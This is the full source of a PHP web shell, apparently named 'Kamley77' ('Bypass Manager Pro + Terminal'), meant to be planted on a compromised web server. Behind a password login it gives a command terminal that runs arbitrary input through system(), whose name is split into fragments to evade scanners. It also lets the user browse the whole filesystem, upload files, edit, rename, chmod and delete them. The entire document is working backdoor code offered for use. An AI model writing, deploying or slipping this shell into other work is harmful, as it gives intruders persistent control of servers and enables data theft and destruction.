<?php
// ======== SETTING PASSWORD HASH ========
$hash_password = '$2y$10$V2m2OONh2VQ4fa7q2atHxOj8LV2UpSHAkizvBpsuEZjBJCYi/U2wy'; // bcrypt hash, password: 2$

session_start();

// Proses logout
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

if (!isset($_SESSION['login_ok'])) {
    $err = '';
    if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['pass'])) {
        if (password_verify($_POST['pass'], $hash_password)) {
            $_SESSION['login_ok'] = true;
            header("Location: ".$_SERVER['PHP_SELF']);
            exit;
        } else {
            $err = "Password salah!";
        }
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>New Shell Kamley77</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <style>
            body {
                background: #000;
                margin: 0;
                height: 100vh;
                display: flex;
                align-items: center;
                justify-content: center;
                font-family: 'Courier New', monospace;
            }
            .login-box {
                background: #111;
                border: 2px solid #0f0;
                padding: 30px 35px;
                border-radius: 7px;
                box-shadow: 0 0 22px #0f08;
                display: flex;
                flex-direction: column;
                align-items: center;
            }
            .emoji {
                font-size: 64px;
                margin-bottom: 10px;
                filter: drop-shadow(0 0 16px #0f0);
                user-select: none;
            }
            input[type="password"] {
                background: #000;
                color: #0f0;
                border: 1px solid #0f0;
                padding: 7px 12px;
                font-size: 16px;
                border-radius: 3px;
                font-family: 'Courier New', monospace;
                margin-bottom: 15px;
                outline: none;
            }
            button {
                background: #0f0;
                color: #000;
                border: none;
                padding: 7px 22px;
                font-size: 15px;
                border-radius: 2px;
                font-family: 'Courier New', monospace;
                cursor: pointer;
                font-weight: bold;
            }
            .err {
                color: #f33;
                margin-bottom: 10px;
                background: #211;
                padding: 8px 10px;
                border-radius: 2px;
                border: 1px solid #600;
            }
            .title {
                color: #0f0;
                font-size: 21px;
                font-weight: bold;
                margin-bottom: 15px;
                text-align: center;
                letter-spacing: 1px;
            }
        </style>
    </head>
    <body>
        <form class="login-box" method="POST">
            <div class="emoji" title="Login">🔐</div>
            <div class="title">Enter Your Password</div>
            <?php if (!empty($err)): ?>
                <div class="err"><?php echo htmlspecialchars($err); ?></div>
            <?php endif; ?>
            <input type="password" name="pass" placeholder="Password" autofocus autocomplete="off" required>
            <button type="submit">LOGIN</button>
        </form>
    </body>
    </html>
    <?php
    exit;
}

// ======== SHELL MANAGER KAMLEY77 ========
$s = 'file_put_contents';
$g = 'file_get_contents';
$m = 'move_uploaded_file';
$ex = 'sy'.'st'.'em';

$current_path = isset($_GET['p']) ? $_GET['p'] : __DIR__;
$current_path = str_replace('\\', '/', $current_path);

function get_parent($path) {
    $parts = explode('/', rtrim($path, '/'));
    array_pop($parts);
    return implode('/', $parts) ?: '/';
}
$cmd_output = "";
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $a = $_POST['a'] ?? '';
    $n = $_POST['n'] ?? '';
    $t = $_POST['t'] ?? '';
    $c = $_POST['c'] ?? '';
    if ($a === 'nf') { @mkdir($current_path . '/' . $n, 0755, true); }
    if ($a === 'nt') { $s($current_path . '/' . $n, ""); }
    if ($a === 'save') { $s($t, $c); }
    if ($a === 'rename') { @rename($t, $current_path . '/' . $n); }
    if ($a === 'chmod') { @chmod($t, octdec($c)); }
    if ($a === 'delete') {
        is_dir($t) ? @rmdir($t) : @unlink($t);
    }
    if ($a === 'upload') {
        $target_upload = $current_path . '/' . $_FILES['f']['name'];
        $m($_FILES['f']['tmp_name'], $target_upload);
    }
    if ($a === 'cmd') {
        ob_start();
        $ex($c . ' 2>&1');
        $cmd_output = ob_get_clean();
    }
}
$items = @scandir($current_path);
?>
<!DOCTYPE html>
<html>
<head>
    <title>Bypass Manager Pro + Terminal</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        body { 
            margin: 0; 
            padding: 0; 
            color: #0f0; 
            font-family: 'Courier New', monospace; 
            font-size: 13px;
            min-height: 100vh;
            background-image: url('https://l.top4top.io/p_37674qrqd0.png');
            background-size: cover;
            background-position: center center;
            background-repeat: no-repeat;
            background-attachment: fixed;
        }
        .bg-overlay {
            position: fixed;
            top: 0; left: 0;
            width: 100vw; height: 100vh;
            background: rgba(0,0,0,0.62);
            z-index: 0;
            pointer-events: none;
        }
        .logout-btn {
            position: fixed;
            top: 18px;
            right: 24px;
            z-index: 100;
            background: #111;
            color: #0f0;
            border: 2px solid #0f0;
            padding: 7px 17px;
            font-size: 15px;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-weight: bold;
            cursor: pointer;
            transition: background .15s;
        }
        .logout-btn:hover {
            background: #1c1c1c;
            border-color: #0f0;
            color: #fff;
        }
        .content { 
            position: relative; 
            z-index: 1; 
            padding: 20px; 
        }
        a { color: #0f0; text-decoration: none; }
        .nav { background: #111; padding: 15px; border: 1px solid #333; margin-bottom: 15px; border-left: 5px solid #0f0; }
        input, textarea, button { background: #000; color: #0f0; border: 1px solid #555; padding: 5px; font-family: 'Courier New'; }
        table { width: 100%; margin-top: 10px; border-collapse: collapse; }
        tr:hover { background: #111; }
        td { padding: 8px; border-bottom: 1px solid #222; }
        .dir { color: #55f; font-weight: bold; }
        .btn-red { color: #f55; border: 1px solid #f55; cursor: pointer; }
        .section { background: #111; padding: 10px; border: 1px solid #333; margin-bottom: 10px; }
        .terminal-box { background: #050505; color: #00ff00; padding: 10px; border: 1px solid #0f0; margin-top: 10px; white-space: pre-wrap; overflow-x: auto; }
        .perm-green { color: #00ff00 !important; border-color: #00ff00 !important; font-weight: bold; }
        .perm-red { color: #ff3333 !important; border-color: #ff3333 !important; font-weight: bold; }
        .btn-green { color: #00ff00 !important; border-color: #00ff00 !important; }
        .btn-red-perm { color: #ff3333 !important; border-color: #ff3333 !important; }
        @media (max-width: 700px) {
            .content { padding: 2vw 2vw; }
            .logout-btn { top: 8px; right: 8px; padding: 5px 10px; font-size: 12px;}
            table, td, tr { font-size: 11px; }
        }
    </style>
</head>
<body>
    <a href="?logout=1" class="logout-btn" title="Logout">Logout</a>
    <div class="bg-overlay"></div>
    <div class="content">
    <div class="nav">
        <strong>PATH:</strong> 
        <?php 
        $path_parts = explode('/', trim($current_path, '/'));
        $acc = (substr($current_path, 0, 1) === '/') ? "/" : "";
        echo '<a href="?p=/">/</a>';
        foreach ($path_parts as $part) {
            if($part === '') continue;
            $acc .= $part . "/";
            echo '<a href="?p=' . urlencode(rtrim($acc, '/')) . '">' . $part . '</a> / ';
        }
        ?>
        <br><br>
        <a href="?p=<?php echo urlencode(get_parent($current_path)); ?>"> [ BACK ] </a> | 
        <a href="?p=<?php echo urlencode(__DIR__); ?>"> [ HOME ] </a>
    </div>
    <div class="section" style="border-color: #0f0;">
        <form method="POST">
            <strong>TERMINAL:</strong> 
            <input type="text" name="c" placeholder="Command (e.g. whoami, ls -la)" style="width: 60%;">
            <button type="submit" name="a" value="cmd" style="background: #004400; font-weight: bold;">EXECUTE</button>
        </form>
        <?php if ($cmd_output): ?>
            <div class="terminal-box"><?php echo htmlspecialchars($cmd_output); ?></div>
        <?php endif; ?>
    </div>
    <div class="section">
        <form method="POST" enctype="multipart/form-data" style="display:inline-block; margin-right: 20px;">
            <strong>Upload:</strong> <input type="file" name="f">
            <button type="submit" name="a" value="upload">Upload</button>
        </form>
        <form method="POST" style="display:inline-block;">
            <input type="text" name="n" placeholder="Folder/File Name">
            <button type="submit" name="a" value="nf">New Dir</button>
            <button type="submit" name="a" value="nt">New File</button>
        </form>
    </div>
    <?php if(isset($_GET['edit'])): 
        $target = $_GET['edit'];
        $content = is_file($target) ? htmlspecialchars($g($target)) : "";
        $can_write = is_writable($target);
        $perm_class = $can_write ? 'perm-green' : 'perm-red';
        $btn_class = $can_write ? 'btn-green' : 'btn-red-perm';
    ?>
        <div class="section">
            <strong>Editing:</strong> <span class="<?php echo $perm_class; ?>"><?php echo basename($target); ?></span>
            <form method="POST">
                <input type="hidden" name="t" value="<?php echo $target; ?>">
                <textarea name="c" style="width:100%; height:400px; margin-top:10px;" class="<?php echo $perm_class; ?>"><?php echo $content; ?></textarea><br><br>
                <button type="submit" name="a" value="save" class="<?php echo $btn_class; ?>">SAVE CHANGES</button>
                <a href="?p=<?php echo urlencode($current_path); ?>">[ CANCEL ]</a>
            </form>
        </div>
    <?php else: ?>
    <table>
        <thead>
            <tr style="text-align:left; background:#222; font-weight:bold;">
                <td>Name</td>
                <td>Perms</td>
                <td style="text-align:right;">Actions</td>
            </tr>
        </thead>
        <?php if($items): foreach($items as $i): 
            if($i == "." || $i == "..") continue;
            $full = rtrim($current_path, '/') . '/' . $i;
            $isD = is_dir($full);
            $perms = substr(sprintf('%o', fileperms($full)), -4);
            $can_write = is_writable($full);
            $perm_class = $can_write ? 'perm-green' : 'perm-red';
            $btn_class = $can_write ? 'btn-green' : 'btn-red-perm';
        ?>
        <tr>
            <td>
                <?php echo $isD ? "📁" : "📄"; ?>
                <?php if($isD): ?>
                    <a href="?p=<?php echo urlencode($full); ?>" class="dir"><?php echo $i; ?>/</a>
                <?php else: ?>
                    <?php echo $i; ?>
                <?php endif; ?>
            </td>
            <td>
                <form method="POST" style="display:inline;">
                    <input type="hidden" name="t" value="<?php echo $full; ?>">
                    <input type="text" name="c" value="<?php echo $perms; ?>" size="4" class="<?php echo $perm_class; ?>">
                    <button type="submit" name="a" value="chmod" class="<?php echo $btn_class; ?>">Set</button>
                </form>
            </td>
            <td align="right">
                <form method="POST" style="display:inline;">
                    <input type="hidden" name="t" value="<?php echo $full; ?>">
                    <input type="text" name="n" placeholder="New Name" size="10" class="<?php echo $perm_class; ?>">
                    <button type="submit" name="a" value="rename" class="<?php echo $btn_class; ?>">Rename</button>
                </form>
                <?php if(!$isD): ?>
                    <a href="?p=<?php echo urlencode($current_path); ?>&edit=<?php echo urlencode($full); ?>" class="<?php echo $btn_class; ?>">[ EDIT ]</a>
                <?php endif; ?>
                <form method="POST" style="display:inline;" onsubmit="return confirm('Hapus item ini?')">
                    <input type="hidden" name="t" value="<?php echo $full; ?>">
                    <button type="submit" name="a" value="delete" class="btn-red <?php echo $btn_class; ?>">DEL</button>
                </form>
            </td>
        </tr>
        <?php endforeach; endif; ?>
    </table>
    <?php endif; ?>
    </div>
</body>
</html>